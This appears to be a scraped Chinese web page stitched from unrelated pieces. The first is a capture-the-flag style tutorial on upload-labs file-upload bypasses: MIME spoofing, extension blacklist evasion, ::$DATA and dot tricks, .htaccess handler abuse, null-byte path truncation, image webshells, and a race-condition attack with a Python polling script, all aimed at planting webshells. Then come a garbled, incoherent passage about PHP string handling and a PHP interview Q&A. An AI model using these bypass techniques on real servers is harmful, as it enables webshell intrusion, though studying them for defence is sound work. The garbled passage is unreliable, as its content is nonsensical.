可以看到content-type现在是显示文本的一个类型,将其改为图片格式,绕过检查
放包
上传成功,之后的步骤和第一关一样连接蚁剑即可.
源码:
3.黑名单绕过
黑名单绕过有比较多的类型:
3.1 上传特殊可解析漏洞
通常网页会给我们上传的内容加上黑名单,即有些特定后缀的文件无法上传,那我们要想办法绕过黑名单的检测
常见的特殊后缀有:.phtml .phps .php5 .pht
一般黑名单禁止上传php类型文件的时候,我们可以将其改为以上几种特殊后缀即可绕过检测.
类似这样即可.源码:
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array('.asp','.aspx','.php','.jsp');<br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_name = deldot($file_name);//删除文件名末尾的点<br /> $file_ext = strrchr($file_name, '.');<br /> $file_ext = strtolower($file_ext); //转换为小写<br /> $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA<br /> $file_ext = trim($file_ext); //收尾去空<br /><br /> if(!in_array($file_ext, $deny_ext)) {<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; <br /> if (move_uploaded_file($temp_file,$img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}
3.2 大小写绕过
直接看源码:
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");<br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_name = deldot($file_name);//删除文件名末尾的点<br /> $file_ext = strrchr($file_name, '.');<br /> $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA<br /> $file_ext = trim($file_ext); //首尾去空<br /><br /> if (!in_array($file_ext, $deny_ext)) {<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;<br /> if (move_uploaded_file($temp_file, $img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = '此文件类型不允许上传!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}<br />
和上一个知识点对比,看看有什么区别
首先是这里的黑名单数量急剧增加,特殊后缀全都被ban了,其次很重要的一点:$file_ext = strtolower($file_ext);消失了.
这个函数代表的是转换为小写字母,如果这个函数消失,并且服务器是区分大小写,这时候我们将php改为pHp即可绕过黑名单.
3.3 陌生后缀解析绕过
这个知识点并没有专门的一关,但是做题目的时候也经常会遇到.
原理也很简单,当阿帕奇服务器无法解析一些奇怪的后缀的时候,例如.asfsdfsd这种,就会自动往前搜索可以使用的后缀名.
比如1.php.asfsdsad,就会向前检索为1.php,利用这个特性可以绕过一些黑名单.
3.4::$DATA 文件数据流传输
原理:在后缀名加::DATA后会令后面的数据以文件流的形式进行传输,同时也能保持::$DATA前面的格式,在文件被系统解析后 这段字符会被系统去除(windows系统下)
例如 1.php 抓包分析 可以修改成filename=’1.php::$data’ 实现上传注入后门文件
查看源码:
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");<br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_name = deldot($file_name);//删除文件名末尾的点<br /> $file_ext = strrchr($file_name, '.');<br /> $file_ext = strtolower($file_ext); //转换为小写<br /> $file_ext = trim($file_ext); //首尾去空<br /> <br /> if (!in_array($file_ext, $deny_ext)) {<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;<br /> if (move_uploaded_file($temp_file, $img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = '此文件类型不允许上传!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}<br />
相比于之前的代码,少了$file_ext = str_ireplace('::$DATA', '', $file_ext);,这个函数的意思是删除'::$DATA'字符串.
这时我们就可以使用::$DATA绕过.
3.5点绕过
原理:
利用windows特性,会自动去掉后缀名中最后的".",可在后缀名中加"."绕过.
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");<br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_ext = strrchr($file_name, '.');<br /> $file_ext = strtolower($file_ext); //转换为小写<br /> $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA<br /> $file_ext = trim($file_ext); //首尾去空<br /> <br /> if (!in_array($file_ext, $deny_ext)) {<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.$file_name;<br /> if (move_uploaded_file($temp_file, $img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = '此文件类型不允许上传!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}<br /><br />
对比,发现少了$file_name = deldot($file_name);
deldot函数的作用是删除末尾的点.
这时候就可以使用点绕过.
3.6 双写绕过
当面对in_array这种检测力度不高的函数的时候,它检测的是是不是完全一样.比如"php"和"php.123"对他来说就是不一样的,这时候我们可以使用陌生后缀来绕过.
但是面对
str_ireplace 函数的时候,他的检测力度高,若我们输入php9,会匹配黑名单第一个php,把你删的只剩下’9’一个字符.这时候我们只需要进行双写绕过即可.
这样中间的php三个被删了,还剩下php,因为很多时候没有循环检测机制,所以就可以绕过了.源码:
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");<br /><br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_name = str_ireplace($deny_ext,"", $file_name);<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.$file_name; <br /> if (move_uploaded_file($temp_file, $img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}<br /><br />
4. 上传.htaccess)
查看提示:
好家伙,这么多黑名单,不急,给大家介绍一个新的后缀 -- .htaccess
我们先创建一个名为".htaccess"的文件,因为没有文件名只有后缀名,所以有时候可能在桌面新建不了,我们需要在文件夹中新建它.
在文件中写入:
SetHandler application/x-httpd-php
这三行代码的意思是通过一个.htaccess 文件调用 php 的解析器去解析一个文件名中只要包含”shell”这个字符串的任意文件,所以无论文件名是什么样子,只要包含”shell”这个字符串,都可以被以 php 的方式来解析,是不是相当邪恶,一个自定义的.htaccess 文件就可以以各种各样的方式去绕过很多上传验证机制的文件后缀名随便写但不可以是黑名单里面的后缀,如shell.jpg.将其上传之后,.htaccess 文件调用php 的解析器去解析shell.jpg,从而让一句话木马生效.
5. 00截断原理
0x00是字符串的结束标识符,这样服务器检测到0x00后就停止了向后检测,后面的内容就等于被注释了.依靠这点可以帮助我们绕过检测.
误区
有很多人喜欢在文件名中加进行截断,但其实这种方式是不对的,比如攻击者构造文件名:admintony.phpa.jpg,在提取后缀名的时候遇到则认为字符串结束了,那么他提取到的后缀名会是.php,.php后缀又不允许上传所以上传失败了(这里有必要提一句,有人可能会说在一些情况下,截断文件名可以成功,这种案例你试一下是不是任意文件上传,西普的00截断实验就是一个任意文件上传的上传点,既然是任意文件上传又何必用00截断绕过呢?)
正确用法
那么00截断应该在什么时候使用呢?数据包中必须含有上传后文件的目录情况才可以用,比如数据包中存在path: uploads/,那么攻击者可以通过修改path的值来构造paylod: uploads/aa.php
为什么修改path才可以,因为程序中检测的是文件的后缀名,如果后缀合法则拼接路径和文件名,那么攻击者修改了path以后的拼接结果为:uploads/aaa.php/*********.******,移动文件的时候会将文件保存为uploads/aaa.php,从而达到Getshell效果。
我们先看源码再看实战:
$is_upload = false;<br />$msg = null;<br />if(isset($_POST['submit'])){<br /> $ext_arr = array('jpg','png','gif');<br /> $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);<br /> if(in_array($file_ext,$ext_arr)){<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;<br /><br /> if(move_uploaded_file($temp_file,$img_path)){<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else{<br /> $msg = "只允许上传.jpg|.png|.gif类型文件!";<br /> }<br />}<br /><br />
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
$img_path是直接拼接,因此可以利用截断绕过.
通过Burp Suite将save_path=../upload/ HTTP/1.1使用进行截断-> save_path=../upload/shell.php HTTP/1.1
将文件后缀改为允许上传的后缀,在第一行路径处添加如图信息
特别注意!!!
00截断必需条件是php版本号在5.3.4以前(不能包含5.3.4版本),我之前试了很多次都无法成功,换了一关查看那个网页的靶场php版本超过5.3.4了,所以又换了一个靶场.而且php的magic_quotes_gpc要为OFF状态.
另外,如果用的是post传输,我们需要多进行一步解码手段.
记得写完要用burp自带的功能给它解码一下,因为get传输的时候会自动解码,而post传输的时候不会自动解码.
6.图片马及图片马的二次渲染漏洞原理
一般文件内容验证使用getimagesize()、exif_imagetype()检测(当然也可能只检测文件头),会判断文件是否是一个有效的文件图片,如果是,则允许上传,否则的话不允许上传。
本实验就是将一句话木马插入到一个合法的图片文件当中,然后用文件包含漏洞得到连接地址。
图片马的制作
copy a.png /b + a.php /a 3.png<br />/b:指定以二进制格式复制、合并文件,用于图像或者声音类文件<br />/a:指定以ascii格式复制、合并文件用于txt等文本类文件<br /><br /><p>这句话的意思是将a.png和a.php合并为3.png</p>
当然要特别注意:
图片马不能单枪匹马就得到flag,需要和别的手段一起使用才行,比如文件包含漏洞或者条件竞争漏洞才行.
源码:
function isImage($filename){<br /> $types = '.jpeg|.png|.gif';<br /> if(file_exists($filename)){<br /> $info = getimagesize($filename);<br /> $ext = image_type_to_extension($info[2]);<br /> if(stripos($types,$ext)>=0){<br /> return $ext;<br /> }else{<br /> return false;<br /> }<br /> }else{<br /> return false;<br /> }<br />}<br /><br />$is_upload = false;<br />$msg = null;<br />if(isset($_POST['submit'])){<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $res = isImage($temp_file);<br /> if(!$res){<br /> $msg = "文件未知,上传失败!";<br /> }else{<br /> $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;<br /> if(move_uploaded_file($temp_file,$img_path)){<br /> $is_upload = true;<br /> } else {<br /> $msg = "上传出错!";<br /> }<br /> }<br />}<br /><br />
其他的两关都是类似,只是仅仅换了一下检测图片的函数,目的就是为了检测我们上传的是否是真正的图片.
如果可以看到源码只检测文件头的话,我们只需要在一句话木马前加上 GIF89a,上传php类型的木马即可绕过检测.
图片马的二次渲染二次渲染原理:
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。
绕过:
配合文件包含漏洞:将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。
如何判断图片是否进行了二次处理?
对比要上传图片与上传后的图片大小,编辑器打开图片查看上传后保留了哪些数据
特别注意!二次渲染我强烈推荐使用GIF格式的,因为jpg和png格式的二次渲染十分复杂,需要用到脚本,GIF的二次渲染算是比较简单.
实验步骤
1、创建一个a.php的脚本文件
2、在cmd命令行中,使用以下命令把1.gif和a.php合成图片马2.gif
3、使用010 Editor16进制编辑器查看2.gif内容,可以看出php代码已经插入图片马中了
4、上传图片马,并复制图片链接进行查看
5、右击复制图片,将图片下载到本地
6、使用010 Editor16进制编辑器打开图片,发现末尾的php代码没有了
GIF绕过二次渲染的方法,就是通过对比上传前和上传后的两个文件,如果说哪个位置,它的上传前和上传后的没有变,我们就把php一句话代码插入到这个位置
7、使用010 Editor16进制编辑器打开上传前的文件和上传后的文件,并对文件进行比较:
8.蓝色部分就是没有改变的地方,接着我们就可以将一句话木马插入蓝色部分,可以成功连接蚁剑.
7.条件竞争漏洞漏洞原理:
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。
上传文件源代码里没有校验上传的文件,文件直接上传,上传成功后才进行判断:如果文件格式符合要求,则重命名,如果文件格式不符合要求,将文件删除。
由于服务器并发处理(同时)多个请求,假如a用户上传了木马文件,由于代码执行需要时间,在此过程中b用户访问了a用户上传的文件,会有以下三种情况:
1.访问时间点在上传成功之前,没有此文件。
2.访问时间点在刚上传成功但还没有进行判断,该文件存在。
3.访问时间点在判断之后,文件被删除,没有此文件.
总结起来一句话,因为服务器要在短时间里处理大量内容,但是解析代码需要时间,所以就会有破绽出来,我们就是利用这短暂的破绽进行绕过.
实验背景
先看源码:
$is_upload = false;<br />$msg = null; //判断文件上传操作<br /><br />if(isset($_POST['submit'])){ //判断是否接收到这个文件<br /> $ext_arr = array('jpg','png','gif'); //声明一个数组,数组里面有3条数据,为:'jpg','png','gif'<br /> $file_name = $_FILES['upload_file']['name']; //获取图片的名字<br /> $temp_file = $_FILES['upload_file']['tmp_name']; //获取图片的临时存储路径<br /> $file_ext = substr($file_name,strrpos($file_name,".")+1); //通过文件名截取图片后缀<br /> $upload_file = UPLOAD_PATH . '/' . $file_name; //构造图片的上传路径,这里暂时重构图片后缀名。<br /><br /> if(move_uploaded_file($temp_file, $upload_file)){ //这里对文件进行了转存<br /> if(in_array($file_ext,$ext_arr)){ //这里使用截取到的后缀名和数组里面的后缀名进行对比<br /> $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; //如果存在,就对文件名进行重构<br /> rename($upload_file, $img_path); //把上面的文件名进行重命名<br /> $is_upload = true;<br /> }else{<br /> $msg = "只允许上传.jpg|.png|.gif类型文件!"; //否则返回"只允许上传.jpg|.png|.gif类型文件!"数据。<br /> unlink($upload_file);// 并删除这个文件<br /> }<br /> }else{<br /> $msg = '上传出错!';<br /> }<br />}
代码处理流程:声明一个数组,保存着允许上传的文件类型–>获取文件名和文件临时存储路径–>截取文件名–>构造文件上传后的存储路径–>对文件进行转存–>比对白名单,如果存在就对文件进行重命名–>否则就删除文件。通过上面代码我们发现:
服务器先通过move_uploaded_file函数把文件保存了,然后再去判断后缀名是否合法,合法就重命名,如果不合法再删除。重点在于,在多线程情况下,就有可能出现还没处理完,我们就访问了原文件,这样就会导致防护被绕过。
我们上传一个文件上去,后端会检验上传文件是否和要求的文件是否一致。如果不能达到要求就会删除文件,如果达成要求就会保留,那么当我们上传文件上去的时候,检测是否到达要求需要一定的时间,这个时间可长可短,但是我们确确实实在某一刻文件已经上传到了指定地址,并且访问到这个文件。这时候就会造成条件竞争。
看懂了源码以后,我们模拟一下条件竞争的场景:10000人同时上传文件1.php,另外有10000人在同时访问这个1.php;上传文件时,这个文件会有一段时间留存在服务器的上传目录下,而服务器脚本在进行判断文件是否合法而对文件进行删除时,会有一定的处理时间,可能在某个时间里,服务器还未来得及删除文件,从而导致我们对这个上传文件成功访问。
实验过程
1.首先,改变一下我们的一句话木马
如果你想用一句话木马连接蚁剑的话那就太天真了,就是你运气好连接上蚁剑,也根本没时间查看就会被服务器删掉,所以我们就要猥琐一点,利用fputs()进行写入,当服务器解析解析完这个php文件的时候,我们就已经在该目录下创建了shell2.php了,而这个php文件里有一句话木马,且不是我们用户上传的,所以不会被删除.
2.使用burpsuite进行抓包,拦截代理流量,并把拦截到的数据包发送到Intruder模块
3.清空变量,并无止境地发送空包,模拟大量用户同时上传
为了让服务器解析变得困难点,我们将线程提高到20
设置完之后便可以开始爆破攻击了.以上便是模拟大量用户不停上传的场景,接下来我们要用模拟大量用户模拟访问.
4.使用python脚本模拟用户访问上传目标地址
import requests<br />url = "https://821-3a1ea0ce-39e7-4921 ... %3Bbr />while True:<br /> html = requests.get(url)<br /> if html.status_code == 200:<br /> print("OK")<br /> break<br /> else:<br /> print("NO")
我们可以随便上传一张图片,查看图片链接即可得到上传文件所在的url,将图片名改为我们上传的php文件,我这里是shell.php
这个脚本的意思是不停访问这个网址,直到状态码返回200,即访问成功的意思.若出现OK,代表我们上传成功,即shell2.php也被写入了该目录之下,我们就可以用蚁剑连接了.(记得连接的是shell2.php而不是shell.php,因为shell.php只是为了写入shell2.php的一个工具而已)
当然,如果用的是白名单,我们则需要使用图片马+条件竞争漏洞+文件包含漏洞三方一起才可以成功使用蚁剑连接.
总结
本次的讲解到这里基本就结束了,大家有空可以自己去过一些upload-labs这个靶场,肯定会有一些收获的.当然,文件上传漏洞可不仅仅上上面的这些,我列出来的都是基础,出的题肯定也是很灵活的,但是不管多灵活,只需要有足够扎实的基础以及代码审计能力,相信一定难不倒大家的.
最后,会利用漏洞当然也需要知道相应的防御手段:
不要暴露上传文件的位置
禁用上传文件的执行权限
黑白名单
对上传的文件重命名,不易被猜测
对文件内容进行二次渲染
对上传的内容进行读取检查
php截取字符串网站内容存储在本地服务器一个php程序
网站优化 • 优采云 发表了文章 • 0 个评论 • 105 次浏览 • 2022-06-17 12:02
php截取字符串网站内容存储在本地服务器一个php程序可以有多个文件:
1、html文件
2、java程序在命令行下输入php-v,
1、php--set(设置条件或参数,可定义参数多种多样,包括自动执行php语句的参数,
2、php--include模块上不包含php代码的文件,并用标签包起来在模块名里加上,可以修改参数php内容获取的参数格式和代码如下:字符串:单引号匹配所有表达式的前项,且不会出现for-loop循环的参数格式:匹配前项最后一个字符类型contype="array"(。)group="center"("center")score=“${mp_user}+${mp_pass}+"mp_user+"score"mp_pass"mp_user[[${mp_user}/${mp_pass}}"mp_user"mp_pass"#打印"${mp_user}"和"${mp_user}"的所有用户。
3、php--include
4、php--include
5、php--include可以修改文件或文件
6、文件下面的子标签 查看全部
php截取字符串网站内容存储在本地服务器一个php程序
php截取字符串网站内容存储在本地服务器一个php程序可以有多个文件:
1、html文件
2、java程序在命令行下输入php-v,
1、php--set(设置条件或参数,可定义参数多种多样,包括自动执行php语句的参数,
2、php--include模块上不包含php代码的文件,并用标签包起来在模块名里加上,可以修改参数php内容获取的参数格式和代码如下:字符串:单引号匹配所有表达式的前项,且不会出现for-loop循环的参数格式:匹配前项最后一个字符类型contype="array"(。)group="center"("center")score=“${mp_user}+${mp_pass}+"mp_user+"score"mp_pass"mp_user[[${mp_user}/${mp_pass}}"mp_user"mp_pass"#打印"${mp_user}"和"${mp_user}"的所有用户。
3、php--include
4、php--include
5、php--include可以修改文件或文件
6、文件下面的子标签
php截取字符串网站内容 PHP面试100题汇总【21-40题】
网站优化 • 优采云 发表了文章 • 0 个评论 • 65 次浏览 • 2022-06-13 04:22
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理 查看全部
php截取字符串网站内容 PHP面试100题汇总【21-40题】
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理